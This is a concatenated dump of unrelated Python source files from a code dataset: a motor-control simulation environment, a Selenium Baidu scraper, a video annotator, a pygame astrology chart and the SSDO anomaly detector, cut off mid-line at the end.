bandwidth: bandwidth of the system\n \"\"\"\n x = np.arange(0, (self._episode_length + self._prediction_horizon))\n if self.observation_space.low[OMEGA_IDX] == 0.0:\n amplitude = np.random.rand() / 2\n offset = np.random.rand() * (1 - 2 * amplitude) + amplitude\n else:\n amplitude = np.random.rand()\n offset = (2 * np.random.rand() - 1) * (1 - amplitude)\n t_min, t_max = self._set_time_interval_reference('sin', bandwidth) # specify range for period time\n t_s = np.random.rand() * (t_max - t_min) + t_min\n phase_shift = 2 * np.pi * np.random.rand()\n self._references = amplitude * np.sin(2 * np.pi / t_s * x * self._tau + phase_shift) + offset\n self._references = self._references * np.ones(\n (len(self.state_vars), 1)) / self._safety_margin # limit to nominal values\n\n def _reference_rect(self, bandwidth=20):\n \"\"\"\n Set rect references for the state variables with a random amplitude, offset and phase shift\n\n Args:\n bandwidth: bandwidth of the system\n \"\"\"\n x = np.arange(0, (self._episode_length + self._prediction_horizon))\n if self.observation_space.low[0] == 0.0:\n amplitude = np.random.rand()\n offset = np.random.rand()*(1-amplitude)\n else:\n amplitude = 2 * np.random.rand() - 1\n offset = (-1 + np.random.rand() * (2 - np.abs(amplitude))) * np.sign(amplitude)\n\n t_min, t_max = self._set_time_interval_reference('rect', bandwidth)\n t_s = np.random.rand() * (t_max - t_min) + t_min # specify range for period time\n t_on = np.random.rand() * t_s # time period on amplitude + offset value\n t_off = t_s - t_on # time period on offset value\n reference = np.zeros(self._episode_length + self._prediction_horizon)\n reference[x * self._tau % (t_on + t_off) > t_off] = amplitude\n reference += offset\n self._references = reference * np.ones((len(self.state_vars), 1)) / self._safety_margin\n\n def _reference_tri(self, bandwidth=20):\n \"\"\"\n set triangular reference with random amplitude, offset, times for rise and fall\n\n Args:\n bandwidth: bandwidth of the system\n \"\"\"\n t_min, t_max = self._set_time_interval_reference('tri', bandwidth) # specify range for period time\n t_s = np.random.rand() * (t_max - t_min) + t_min\n t_rise = np.random.rand() * t_s\n t_fall = t_s - t_rise\n\n if self.observation_space.low[0] == 0.0:\n amplitude = np.random.rand()\n offset = np.random.rand() * (1 - amplitude)\n else:\n amplitude = 2 * np.random.rand() - 1\n offset = (-1 + np.random.rand() * (2 - np.abs(amplitude))) * np.sign(amplitude)\n\n reference = np.ones(self._episode_length + self._prediction_horizon)\n for t in range(0, (self._episode_length + self._prediction_horizon)):\n # use a triangular function\n if (t * self._tau) % t_s <= t_rise:\n reference[t] = ((t * self._tau) % t_s) / t_rise * amplitude + offset\n else:\n reference[t] = -((t * self._tau) % t_s - t_s) / t_fall * amplitude + offset\n self._references = reference * np.ones((len(self.state_vars), 1)) / self._safety_margin\n\n def _reference_sawtooth(self, bandwidth=20):\n \"\"\"\n sawtooth signal generator with random time period and amplitude\n\n Args:\n bandwidth: bandwidth of the system\n \"\"\"\n t_min, t_max = self._set_time_interval_reference('sawtooth', bandwidth) # specify range for period time\n t_s = np.random.rand() * (t_max - t_min) + t_min\n if self.observation_space.low[OMEGA_IDX] == 0.0:\n amplitude = np.random.rand()\n else:\n amplitude = 2 * np.random.rand() - 1\n x = np.arange(self._episode_length + self._prediction_horizon, dtype=float)\n self._references = np.ones_like(x, dtype=float)\n self._references *= (x*self._tau) % t_s * amplitude / t_s\n # limit to nominal values\n self._references = self._references * np.ones((len(self.state_vars), 1))/self._safety_margin\n\n def _set_time_interval_reference(self, shape=None, bandwidth=20):\n \"\"\"\n This function returns the minimum and maximum time period specified by the bandwidth of the motor,\n episode length and individual modifications for each shape\n At least on time period of a shape should fit in an episode, but not to fast that the motor can not follow the\n reference properly.\n\n Args:\n shape: shape of the reference\n\n Returns:\n minimal and maximal time period\n \"\"\"\n bw = self._maximal_bandwidth(bandwidth) # Bandwidth of reference limited\n t_episode = (self._episode_length+self._prediction_horizon)*self._tau\n t_min = min(1 / bw, t_episode)\n t_max = max(1 / bw, t_episode)\n # In this part individual modifications can be made for each shape\n # Modify the values to get useful references\n if shape == 'sin':\n t_min = t_min\n t_max = t_max / 5\n elif shape == 'rect':\n t_min = t_min\n t_max = t_max / 3\n elif shape == 'tri':\n t_min = t_min\n t_max = t_max / 5\n elif shape == 'sawtooth':\n t_min = t_min\n t_max = t_max / 5\n else:\n t_min = t_min\n t_max = t_max / 5\n return min(t_min, t_max), max(t_min, t_max) # to make sure that the order is correct\n\n def _maximal_bandwidth(self, bandwidth=20):\n \"\"\"\n Computes the maximal allowed bandwidth, considering a user defined limit and the technical limit.\n\n Args:\n bandwidth: maximal user defined value for the bandwidth\n\n Returns:\n maximal bandwidth for the reference\n \"\"\"\n return min(min(self.motor.bandwidth()), bandwidth)\n\n def _generate_references(self, bandwidth=20):\n \"\"\"\n Select which reference to generate. The shaped references (rect, sin, triangular, sawtooth) are equally propable\n with 12,5% and a random reference is generated with a probability of 50%\n\n Args:\n bandwidth: bandwidth of the system\n \"\"\"\n val = np.random.rand()\n\n if val < 0.125:\n self._reference_rect(bandwidth)\n elif val < 0.25:\n self._reference_sin(bandwidth)\n elif val < 0.375:\n self._reference_tri(bandwidth)\n elif val < 0.5:\n self._reference_sawtooth(bandwidth)\n else:\n self._generate_random_references()\n u_sup = np.ones(self._episode_length + self._prediction_horizon) * self.motor.u_sup\n self._references[U_SUP_IDX] = np.clip(\n u_sup,\n 0.0,\n self._limits[U_SUP_IDX],\n )/self._limits[U_SUP_IDX]\n\n self._references[self._zero_ref_flags] = np.zeros((\n len(self._zero_refs),\n self._episode_length + self._prediction_horizon,\n ))\n\n def _generate_random_references(self):\n \"\"\"\n This function generates random references for the next episode.\n\n First a random input sequence is build. Afterwards the system is\n fed with this input sequence and the resulting trajectories for all quantities are clipped to the limits and\n used as references. For all quantities, that should not have a reference, it is set to zero.\n \"\"\"\n u_q = self._generate_random_control_sequence(self.motor.bandwidth()[0]) * self.motor.u_sup\n u_d = self._generate_random_control_sequence(self.motor.bandwidth()[1]) * self.motor.u_sup\n i_q, i_d, i_a, i_b, i_c, torque, omega, epsilon = np.zeros((8, len(u_q)))\n i_a_0, i_b_0, i_c_0, epsilon_0 = self._state[CURRENTS + [EPSILON_IDX]]\n i_d_0, i_q_0 = self.motor.q_inv_me(PmsmModel.t_23([i_a_0, i_b_0, i_c_0]), epsilon_0)\n state = np.array([self._state[OMEGA_IDX], i_q_0, i_d_0, epsilon_0]) \\\n * self._limits[[OMEGA_IDX, I_A_IDX, I_B_IDX, EPSILON_IDX]]\n limits = self._limits[[OMEGA_IDX, I_A_IDX, I_B_IDX]] / self._safety_margin\n clip_low = np.concatenate((-limits, np.array([0])))\n clip_high = np.concatenate((limits, np.array([np.inf])))\n for k in range(1, len(u_q)):\n state += self.motor.model(state, self.load.load(state[OMEGA_IDX]),\n (u_q[k-1], u_d[k-1])) * self._tau\n state = np.clip(state, clip_low, clip_high)\n omega[k], i_q[k], i_d[k], epsilon[k] = state\n torque[k] = self.motor.torque(state)\n\n i_a[k], i_b[k], i_c[k] = self.motor.t_32(self.motor.q_me([i_q[k], i_d[k]], epsilon[k]))\n u_sup = np.ones_like(omega) * self.motor.u_sup\n self._references = np.array(\n [omega, torque,\n i_a, i_b, i_c,\n np.zeros(len(u_q)), np.zeros(len(u_d)), np.zeros(len(u_d)),\n epsilon % (2*np.pi), u_sup], subok=True\n )\n self._references /= self._limits.reshape((len(self._limits), 1))\n self._references[self._zero_ref_flags] = np.zeros(\n (len(self._zero_refs), self._episode_length + self._prediction_horizon)\n )\n\n def _generate_random_control_sequence(self, bw):\n \"\"\"\n Function that is called by the random reference generation in the motors to generate a random control sequence.\n\n Args:\n bw: Bandwidth for the control sequence\n\n Returns:\n A random control sequence that is following the bandwidth and power constraints at most.\n \"\"\"\n ref_len = self._episode_length + self._prediction_horizon\n rands = np.random.randn(2, ref_len // 2)\n u = rands[0] + 1j * rands[1]\n bw_noise = np.random.rand() + 1\n bw *= bw_noise\n delta_w = 2 * np.pi / ref_len / self._tau\n u[int(bw / delta_w) + 1:] = 0.0\n sigma = np.linspace(1, 0, int(bw / delta_w) + 1) ** np.random.randint(10)\n\n if len(sigma) < len(u):\n u[:len(sigma)] *= sigma\n else:\n u *= sigma[:len(u)]\n\n fourier = np.concatenate((np.random.randn(1), u, np.flip(np.conjugate(u))))\n u = np.fft.ifft(fourier).real\n\n power_noise = np.random.rand() + 1\n u = u / np.sqrt((u ** 2).sum() / ref_len) * power_noise\n u = np.clip(u, -1/self._safety_margin, 1/self._safety_margin)\n return u[:ref_len]\n\n # endregion\n\n def get_motor_param(self):\n \"\"\"\n This function returns all motor parameters, sampling time, safety margin and converter limits.\n\n Returns:\n A dictionary containing the motor parameters as well as the sampling time tau, the safety margin and the\n converter limits.\n \"\"\"\n params = self.motor.motor_parameter\n params['tau'] = self._tau\n params['safety_margin'] = self._safety_margin\n params['converter_voltage'] = self.converter.voltages\n params['converter_current'] = self.converter.currents\n params['episode_length'] = self._episode_length\n params['prediction_horizon'] = self._prediction_horizon\n params['tau'] = self._tau\n params['limits'] = self._limits.tolist()\n return params\n\n\nclass PmsmDisc(PmsmEnv):\n def __init__(self, tau=1e-5, **kwargs):\n super().__init__('Disc', tau=tau, **kwargs)\n\n def _step_integrate(self, action):\n \"\"\"\n This function contains the integration for the discrete type in two steps. First, it is integrated over the\n interlocking time and second integrated over the rest of the interval such that the whole integration takes ones\n the sampling time.\n In both cases first the converter determines the applied voltage. Afterwards follows the transformation from\n a/b/c to d/q coordinates and the integration.\n\n Args:\n action: current action from the controller\n\n Returns:\n New system state and applied input voltage\n \"\"\"\n self._state[U_SUP_IDX] = self._references[U_SUP_IDX, self._k] * self._limits[U_SUP_IDX]\n u_in = self.converter.convert(action, self._state[CURRENTS], self.system.t) * self._state[U_SUP_IDX]\n u_dq = self.motor.q_inv_me(self.motor.t_23(u_in + self._noise[VOLTAGES, self._k]), self._state[EPSILON_IDX]\n * self._limits[EPSILON_IDX])\n self.system.set_f_params([u_dq[1], u_dq[0]])\n state = self.system.integrate(self.system.t + self.converter.interlocking_time)\n u_in = self.converter.convert(action, self._state[CURRENTS], self.system.t) * self._state[U_SUP_IDX]\n u_dq = self.motor.q_inv_me(self.motor.t_23(u_in + self._noise[VOLTAGES, self._k]), self._state[EPSILON_IDX]\n * self._limits[EPSILON_IDX])\n self.system.set_f_params([u_dq[1], u_dq[0]])\n # integrate rest of a period\n state = self.system.integrate(self.system.t + self._tau - self.converter.interlocking_time)\n return state, u_in\n\n\nclass PmsmCont(PmsmEnv):\n def __init__(self, tau=1e-4, **kwargs):\n super().__init__('Cont', tau=tau, **kwargs)\n\n def step(self, action):\n return super().step(np.clip(action, self.converter.action_space.low, self.converter.action_space.high))\n\n def _step_integrate(self, action):\n \"\"\"\n This function executes the integration over one sampling period. First, the converter determines the applied\n input voltage. Afterwards follows the transformation from a/b/c to d/q coordinates and the integration.\n\n Args:\n action: Current action from the controller\n\n Returns:\n New system state and applied input voltage\n \"\"\"\n\n # action from the controller and input currents\n self._state[U_SUP_IDX] = self._references[U_SUP_IDX, self._k] * self._limits[U_SUP_IDX]\n u_in = self.converter.convert(action, self._state[CURRENTS]) * self._state[U_SUP_IDX]\n # Convert Input voltage to dq space\n u_dq = self.motor.q_inv_me(self.motor.t_23(u_in + self._noise[VOLTAGES, self._k]), self._state[EPSILON_IDX]\n * self._limits[EPSILON_IDX])\n self.system.set_f_params([u_dq[1], u_dq[0]])\n # Simulate the system for a step\n state = self.system.integrate(self.system.t + self._tau)\n return state, u_in\n\n","sub_path":"gym_electric_motor/envs/gym_pmsm/pmsm_env.py","file_name":"pmsm_env.py","file_ext":"py","file_size_in_byte":38497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"195828713","text":"import time\nimport requests\nfrom lxml import etree\nfrom selenium import webdriver\n\n\ndef simulate():\n driver = webdriver.Chrome()\n driver.get('https://www.baidu.com')\n driver.find_element_by_id('kw').send_keys('UiBot')\n driver.find_element_by_id('su').click()\n time.sleep(0.5)\n page_source = driver.page_source\n write(page_source)\n driver.quit()\n\n\ndef write(page_source):\n html = etree.HTML(page_source)\n div = list(filter(lambda x: x.xpath('./child::h3'), html.xpath('.//div[@id=\"content_left\"]/div')))[3]\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36'\n }\n href = div.xpath('./h3/a/@href')[0]\n with open('res.txt', 'w', encoding='utf-8') as f:\n f.write(requests.get(href, headers=headers).text)\n\n\nif __name__ == '__main__':\n simulate()","sub_path":"foobar/selenium_baidu/zkj.py","file_name":"zkj.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"62931955","text":"from labvision.video import WriteVideo, WriteVideoFFMPEG\nfrom ParticleTrackingGui.annotation import annotation_methods as am\nfrom ParticleTrackingGui.general import dataframes\nfrom ParticleTrackingGui.general.parameters import get_method_name\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport numpy as np\n\nclass TrackingAnnotator:\n\n def __init__(self, parameters=None, vidobject=None, data_filename=None, bitrate='HIGH1080',frame=None, framerate=50):\n self.parameters = parameters\n self.cap = vidobject\n self.data_filename=data_filename\n self.output_filename = self.cap.filename[:-4] + '_annotate.mp4'\n #frame_size = (self.cap.height, self.cap.width, 3)\n\n\n def annotate(self, f_index=None, use_part=False, bitrate='HIGH1080', framerate=30):\n if f_index is None:\n frame = self.cap.read_frame(n=0)\n if self.parameters['videowriter'] == 'opencv':\n self.out = WriteVideo(filename=self.output_filename, frame=frame)\n elif self.parameters['videowriter'] == 'ffmpeg':\n self.out = WriteVideoFFMPEG(self.output_filename, bitrate=bitrate, framerate=framerate)\n data_filename = self.data_filename\n\n elif use_part:\n if self.parameters['videowriter'] == 'opencv':\n self.out = WriteVideo(filename=self.output_filename, frame=frame)\n elif self.parameters['videowriter'] == 'ffmpeg':\n self.out = WriteVideoFFMPEG(self.output_filename, bitrate=bitrate, framerate=framerate)\n data_filename = self.data_filename\n else:\n data_filename = self.data_filename[:-5] + '_temp.hdf5'\n\n with dataframes.DataStore(data_filename, load=True) as data:\n if f_index is None:\n if ('frame_range' in self.parameters['annotate_method']) and (self.parameters['frame_range'] is not None):\n start = self.parameters['frame_range'][0]\n stop = self.parameters['frame_range'][1]\n else:\n start=0\n stop=self.cap.num_frames - 1\n print(start)\n print(stop)\n else:\n start=f_index\n stop=f_index+1\n self.cap.set_frame(start)\n\n for f in tqdm(range(start, stop, 1), 'Annotating'):\n frame = self.cap.read_frame()\n for method in self.parameters['annotate_method']:\n method_name, call_num = get_method_name(method)\n frame = getattr(am, method_name)(frame, data, f, self.parameters, call_num=call_num)\n if f_index is None:\n self.out.add_frame(frame)\n\n if f_index is None:\n self.out.close()\n print('vid written')\n else:\n return frame\n\n\n\n","sub_path":"annotation/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171393298","text":"import numpy\r\n\r\nclass TelemeterAiData:\r\n def __init__(self):\r\n self.state = numpy.uint8(0)\r\n self.cpu = numpy.uint8(0)\r\n self.run_number = numpy.uint8(0)\r\n self.output_file_number = numpy.uint8(0)\r\n self.crc = numpy.uint8(0)\r\n\r\n def concat_data(self):\r\n ai_data = numpy.uint8(0)\r\n ai_data = numpy.uint8(self.state << 7) | ai_data\r\n ai_data = numpy.uint8(self.cpu) | ai_data\r\n # ai_data = numpy.uint32(self.run_number << 16) | ai_data\r\n # ai_data = numpy.uint32(self.output_file_number << 8) | ai_data\r\n # ai_data = numpy.uint32(self.crc) | ai_data\r\n return int(ai_data).to_bytes(length=1, byteorder='big', signed=False)\r\n\r\nif __name__ == '__main__':\r\n a = TelemeterAiData()\r\n a.state = numpy.uint8(0)\r\n a.cpu = numpy.uint8(13)\r\n result = a.concat_data()\r\n res = result.hex()\r\n print(res)\r\n","sub_path":"Sky/old_telemeter/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"303318000","text":"# from PIL import Image\n#\n# image_name = 'left'\n#\n# im = Image.open(\"images/\" + image_name + \".png\").convert('LA')\n#\n# ru20public = '/slowfs/ru20public/To_VadimVolodin/From_VadimVolodin/stereo_block_matching/presfirst/'\n# im.save('images/' + image_name + '.pgm')\n\n#\nfrom PIL import Image\n\nim = Image.open('images/stat1.ppm')\nim = im.convert('L')\nim.save('images/stat1.pgm')\n\n# a = [[5,6], [7, 8]]\n#\n# a = \"\\n\".join([\"\".join(map(chr, l)) for l in a])\n#\n# for c in a:\n# print(ord(c))","sub_path":"one/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"273411295","text":"import math\nimport pygame\n\nclass AstroChart():\n\n black = (0, 0, 0)\n white = (255, 255, 255)\n red = (255, 0, 0)\n lred = (254/2, 0, 0)\n green = (0, 255, 0)\n lgreen = (0, 254/2, 0)\n blue = (0, 0, 255)\n lblue = (0, 0, 254/2)\n gray = (254/2, 254/2, 254/2)\n\n aspects = \\\n {\n 0:1,\n 60:60,\n 90:90,\n 120:120,\n 180:180,\n }\n asp = 5\n\n def getAspect2(self, deg1, deg2):\n vers = []\n for x in self.aspects:\n a = x - self.asp\n b = x + self.asp\n if (a < 0):\n a = 360 - abs(a)\n if (b >= 360):\n b -= 360\n vers.append([a, b, self.aspects[x]])\n\n if (deg2 < deg1):\n deg2 += 360\n\n dif = abs(deg1 - deg2)\n if (dif > 180):\n dif -= 180\n\n for x in vers:\n if (x[0] < x[1]):\n if (int(round(dif)) in range(x[0], x[1])):\n return dif, x[2]\n elif (x[0] > x[1]):\n if (int(round(dif)) in range(x[0]-360, x[1])):\n return dif, x[2]\n return dif, 0\n\n def getAspect(self, deg1, deg2):\n # Get the actual aspect here:\n dif = abs(deg1-deg2)\n if (dif > 180):\n dif -= 360\n\n # On to the whole schebang thing here\n vers = []\n for x in self.aspects:\n a = x - self.asp\n b = x + self.asp\n if (a < 0):\n a = 360 - abs(a)\n if (b >= 360):\n b -= 360\n vers.append([a, b, self.aspects[x]])\n\n for x in vers:\n if (x[0] < x[1]):\n if (int(round(dif)) in range(x[0], x[1])):\n return dif, x[2]\n elif (x[0] > x[1]):\n if (int(round(dif)) in range(x[0]-360, x[1])):\n return dif, x[2]\n return dif, 0\n\n def createScreen(self):\n d = (self.width, self.height)\n self.screen = pygame.display.set_mode(d)\n\n def createSurface(self):\n self.background = pygame.Surface(self.screen.get_size())\n \n def drawCircle(self):\n w = self.width\n h = self.height\n r1 = self.radius1\n r2 = self.radius2\n \n none = pygame.draw.circle(self.background, self.white, (w/2, h/2), r1)\n none = pygame.draw.circle(self.background, self.black, (w/2, h/2), r2)\n\n def drawCircle2(self):\n w = self.width\n h = self.height\n r1 = self.radius4\n\n none = pygame.draw.circle(self.background, self.black, (w/2, h/2), r1)\n\n def drawBaseLines(self):\n w = self.width\n h = self.height\n r2 = self.radius2\n \n p1 = (w/2, ((h - (r2 * 2))/2))\n p2 = (w/2, (h - p1[1]))\n none = pygame.draw.line(self.background, self.white, p1, p2, self.thick1)\n\n p3 = (((w - (r2 * 2))/2), h/2 )\n p4 = ((w - p3[0]), h/2)\n none = pygame.draw.line(self.background, self.white, p3, p4, self.thick1)\n\n def getXYFromDeg(self, deg):\n w = self.width\n h = self.height\n r2 = self.radius2\n \n angle = math.radians(deg)\n xp = int(round(w/2 + r2*math.sin(angle)))\n yp = int(round(h/2 - r2*math.cos(angle)))\n\n return (xp, yp)\n\n def drawLine(self, color, p1, p2, t):\n none = pygame.draw.line(self.background, color, p1, p2, t)\n\n def drawLines(self, rot=10):\n w = self.width\n h = self.height\n \n for x in range(0, 360, rot):\n sp1 = (w/2, h/2)\n sp2 = self.getXYFromDeg(x)\n self.drawLine(self.white, sp1, sp2, self.thick2)\n\n def plotPlanet(self, planet, ranges=None, paths=None, test=0):\n name = planet[0]\n if (test == 1):\n name = \"Test\"\n if (name not in paths):\n paths = None\n pos = planet[1]\n deg = pos\n p = self.getXYFromDeg(deg)\n if (paths == None):\n none = pygame.draw.circle(self.background, self.gray, p, self.radius3)\n elif (paths != None):\n dim = paths[name].get_size()\n d = [p[0], p[1]]\n d[0] -= dim[0]/2\n d[1] -= dim[1]/2\n none = self.background.blit(paths[name], d)\n return deg, p\n\n def updateScreen(self):\n self.screen.blit(self.background, (0, 0))\n\n def __init__(self, w, h, r1, r2, t1, t2, r3, r4):\n self.width = w\n self.height = h\n self.radius1 = r1\n self.radius2 = r2\n self.thick1 = t1\n self.thick2 = t2\n self.radius3 = r3\n self.radius4 = r4\n","sub_path":"OtherCodeIhaveYetToSiftThrough/astro/Viewer/Chart.py","file_name":"Chart.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"272827232","text":"# -*- coding: UTF-8 -*-\n\"\"\"\n\nSemi-Supervised Detection of Anomalies\n\nReference:\n V. Vercruyssen, W. Meert, G. Verbruggen, K. Maes, R. Baumer, J. Davis.\n Semi-supervised anomaly detection with an application to water analytics.\n In IEEE International Conference on Data Mining, Singapore, 2018, pp. 527–536.\n\n:author: Vincent Vercruyssen\n:year: 2018\n:license: Apache License, Version 2.0, see LICENSE for details.\n\n\"\"\"\n\nimport numpy as np\nimport scipy.stats as sps\n\nfrom collections import Counter\nfrom scipy.spatial import cKDTree\nfrom sklearn.utils.validation import check_X_y\nfrom sklearn.base import BaseEstimator\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.neighbors import LocalOutlierFactor\n\nfrom anomatools.clustering.COPKMeans import COPKMeans\nfrom anomatools.utils.fastfuncs import fast_distance_matrix\n\n\n# ----------------------------------------------------------------------------\n# SSDO class\n# ----------------------------------------------------------------------------\n\nclass SSDO(BaseEstimator):\n \"\"\"\n Parameters\n ----------\n n_clusters : int (default=10)\n Number of clusters used for the COP k-means clustering algorithm.\n\n alpha : float (default=2.3)\n User influence parameter that controls the weight given to the\n unsupervised and label propragation components of an instance's\n anomaly score.\n\n k : int (default=30)\n Controls how many instances are updated by propagating the label of a\n single labeled instance.\n\n contamination : float (default=0.1)\n Estimate of the expected percentage of anomalies in the data.\n\n unsupervised_prior : str (default='SSDO')\n Unsupervised baseline classifier:\n 'SSDO' --> SSDO baseline (based on constrained k-means clustering)\n 'other' --> use a different prior passed to SSDO\n \"\"\"\n\n def __init__(self,\n n_clusters=10, # number of clusters for the ssdo base classifier\n alpha=2.3, # the alpha parameter for ssdo label propagation\n k=30, # the k parameter for ssdo label propagation\n contamination=0.1, # expected proportion of anomalies in the data\n unsupervised_prior='SSDO', # type of base classifier to use\n tol=1e-8, # tolerance\n verbose=False):\n super().__init__()\n\n # instantiate the parameters\n self.nc = int(n_clusters)\n self.alpha = float(alpha)\n self.k = int(k)\n self.c = float(contamination)\n self.unsupervised_prior = str(unsupervised_prior).lower()\n self.tol = float(tol)\n self.verbose = bool(verbose)\n\n def fit_predict(self, X, y=None, prior=None):\n \"\"\" Fit the model to the training set X and returns the anomaly score\n of the instances in X.\n\n :param X : np.array(), shape (n_samples, n_features)\n The samples to compute anomaly score w.r.t. the training samples.\n :param y : np.array(), shape (n_samples), default = None\n Labels for examples in X.\n :param prior : np.array(), shape (n_samples)\n Unsupervised prior to detect the anomalies if SSDO is not used.\n\n :returns y_score : np.array(), shape (n_samples)\n Anomaly score for the examples in X.\n :returns y_pred : np.array(), shape (n_samples)\n Returns -1 for inliers and +1 for anomalies/outliers.\n \"\"\"\n\n # unsupervised prior not necessary during training\n return self.fit(X, y).predict(X, prior=prior)\n\n def fit(self, X, y=None):\n \"\"\" Fit the model using data in X.\n\n :param X : np.array(), shape (n_samples, n_features)\n The samples to compute anomaly score w.r.t. the training samples.\n :param y : np.array(), shape (n_samples), default = None\n Labels for examples in X.\n\n :returns self : object\n \"\"\"\n\n # check input\n if y is None:\n y = np.zeros(len(X))\n X, y = check_X_y(X, y)\n\n # compute the prior\n if self.unsupervised_prior == 'ssdo':\n # COPKMeans classifier\n self._fit_prior_parameters(X, y)\n elif self.unsupervised_prior == 'other':\n pass\n else:\n raise ValueError('INPUT ERROR: `unsupervised_prior` unknown!')\n\n # compute eta parameter\n self.eta = self._compute_eta(X)\n\n # store the labeled points\n self.labels_available = False\n ixl = np.where(y != 0.0)[0]\n if len(ixl) > 0:\n self.labels_available = True\n self._labels = y[ixl]\n self._X_labels = X[ixl, :]\n\n return self\n\n def predict(self, X, prior=None):\n \"\"\" Compute the anomaly score for unseen instances.\n\n :param X : np.array(), shape (n_samples, n_features)\n The samples in the test set for which to compute the anomaly score.\n :param prior : np.array(), shape (n_samples)\n Unsupervised prior to detect the anomalies if SSDO is not used.\n\n :returns y_score : np.array(), shape (n_samples)\n Anomaly score for the examples in X.\n :returns y_pred : np.array(), shape (n_samples)\n Returns -1 for inliers and +1 for anomalies/outliers.\n \"\"\"\n\n # check input\n X, _ = check_X_y(X, np.zeros(len(X)))\n\n n, _ = X.shape\n\n # compute the prior\n if self.unsupervised_prior == 'ssdo':\n prior = self._compute_prior(X) # in [0, 1]\n elif self.unsupervised_prior == 'other':\n prior = (prior - min(prior)) / (max(prior) - min(prior))\n else:\n print('WARNING: no unsupervised `prior` for predict()!')\n prior = np.ones(n, dtype=np.float)\n \n # scale the prior using the squashing function\n # TODO: this is the expected contamination in the test set!\n gamma = np.sort(prior)[int(n * (1.0 - self.c))] + self.tol\n prior = np.array([1 - self._squashing_function(x, gamma) for x in prior])\n\n # compute the posterior\n if self.labels_available:\n y_score = self._compute_posterior(X, prior, self.eta)\n else:\n y_score = prior\n\n # y_pred (using the expected contamination)\n # TODO: this is the expected contamination in the test set!\n offset = np.sort(y_score)[int(n * (1.0 - self.c))]\n y_pred = np.ones(n, dtype=int)\n y_pred[y_score < offset] = -1\n\n return y_score, y_pred\n\n def _fit_prior_parameters(self, X, y):\n \"\"\" Fit the parameters for computing the prior score:\n - (constrained) clustering\n - cluster size\n - max intra-cluster distance\n - cluster deviation\n \"\"\"\n\n # construct cannot-link constraints + remove impossible cannot-links\n ixn = np.where(y == -1.0)[0]\n ixa = np.where(y == 1.0)[0]\n cl = np.array(np.meshgrid(ixa, ixn)).T.reshape(-1,2)\n\n # cluster\n self.clus = COPKMeans(n_clusters=self.nc)\n centroids, labels = self.clus.fit_predict(X, cannot_link=cl)\n self.nc = self.clus.n_clusters\n\n # cluster sizes (Counter sorts by key!)\n self.cluster_sizes = np.array(list(Counter(labels).values())) / max(Counter(labels).values())\n\n # compute the max intra-cluster distance\n self.max_intra_cluster = np.zeros(self.nc, dtype=np.float)\n for i, l in enumerate(labels):\n c = centroids[l, :]\n d = np.linalg.norm(X[i, :] - c)\n if d > self.max_intra_cluster[l]:\n self.max_intra_cluster[l] = d\n\n # compute the inter-cluster distances\n if self.nc == 1:\n self.cluster_deviation = np.array([1])\n else:\n inter_cluster = np.ones(self.nc, dtype=np.float) * np.inf\n for i in range(self.nc):\n for j in range(self.nc):\n if i != j:\n d = np.linalg.norm(centroids[i, :] - centroids[j, :])\n if not(d < self.tol) and d < inter_cluster[i]:\n inter_cluster[i] = d\n self.cluster_deviation = inter_cluster / max(inter_cluster)\n\n return self\n\n def _compute_prior(self, X):\n \"\"\" Compute the constrained-clustering-based outlier score.\n\n :returns prior : np.array(), shape (n_samples)\n Prior anomaly score between 0 and 1.\n \"\"\"\n\n n, _ = X.shape\n\n # predict the cluster labels + distances to the clusters\n _, labels, distances = self.clus.predict(X, include_distances=True)\n\n # compute the prior\n prior = np.zeros(n)\n for i, l in enumerate(labels):\n if self.max_intra_cluster[l] < self.tol:\n point_deviation = 1.0\n else:\n point_deviation = distances[i] / self.max_intra_cluster[l]\n prior[i] = (point_deviation * self.cluster_deviation[l]) / self.cluster_sizes[l]\n\n return prior\n\n def _compute_posterior(self, X, prior, eta):\n \"\"\" Update the clustering score with label propagation.\n\n :returns posterior : np.array(), shape (n_samples)\n Posterior anomaly score between 0 and 1.\n \"\"\"\n\n n, _ = X.shape\n\n # labeled examples\n ixa = np.where(self._labels == 1.0)[0]\n ixn = np.where(self._labels == -1.0)[0]\n\n # compute limited distance matrices (to normals, to anomalies)\n Dnorm = fast_distance_matrix(X, self._X_labels[ixn, :])\n Danom = fast_distance_matrix(X, self._X_labels[ixa, :])\n\n # compute posterior\n posterior = np.zeros(n)\n for i in range(n):\n # weighted distance to anomalies & normals\n da = np.sum(self._squashing_function(Danom[i, :], eta))\n dn = np.sum(self._squashing_function(Dnorm[i, :], eta))\n # posterior\n z = 1.0 / (1.0 + self.alpha * (da + dn))\n posterior[i] = z * (prior[i] + self.alpha * da)\n\n return posterior\n\n def _compute_eta(self, X):\n \"\"\" Compute the eta parameter.\n\n :returns eta : float\n Eta parameter is the harmonic mean of the k-distances.\n \"\"\"\n\n n, _ = X.shape\n\n # construct KD-tree\n tree = cKDTree(X, leafsize=16)\n\n # query distance to k'th nearest neighbor of each point\n d = np.zeros(n)\n for i, x in enumerate(X):\n dist, _ = tree.query(x, k=self.k+1)\n d[i] = dist[-1]\n\n # compute eta as the harmonic mean of the k-distances\n filler = min(d[d > 0.0])\n d[d == 0.0] = filler\n eta = sps.hmean(d)\n\n if eta < self.tol:\n eta = self.tol\n\n return eta\n\n def _squashing_function(self, x, p):\n \"\"\" Compute the value of x under squashing function with parameter p. \"\"\"\n return np.exp(np.log(0.5) * np.power(x / p, 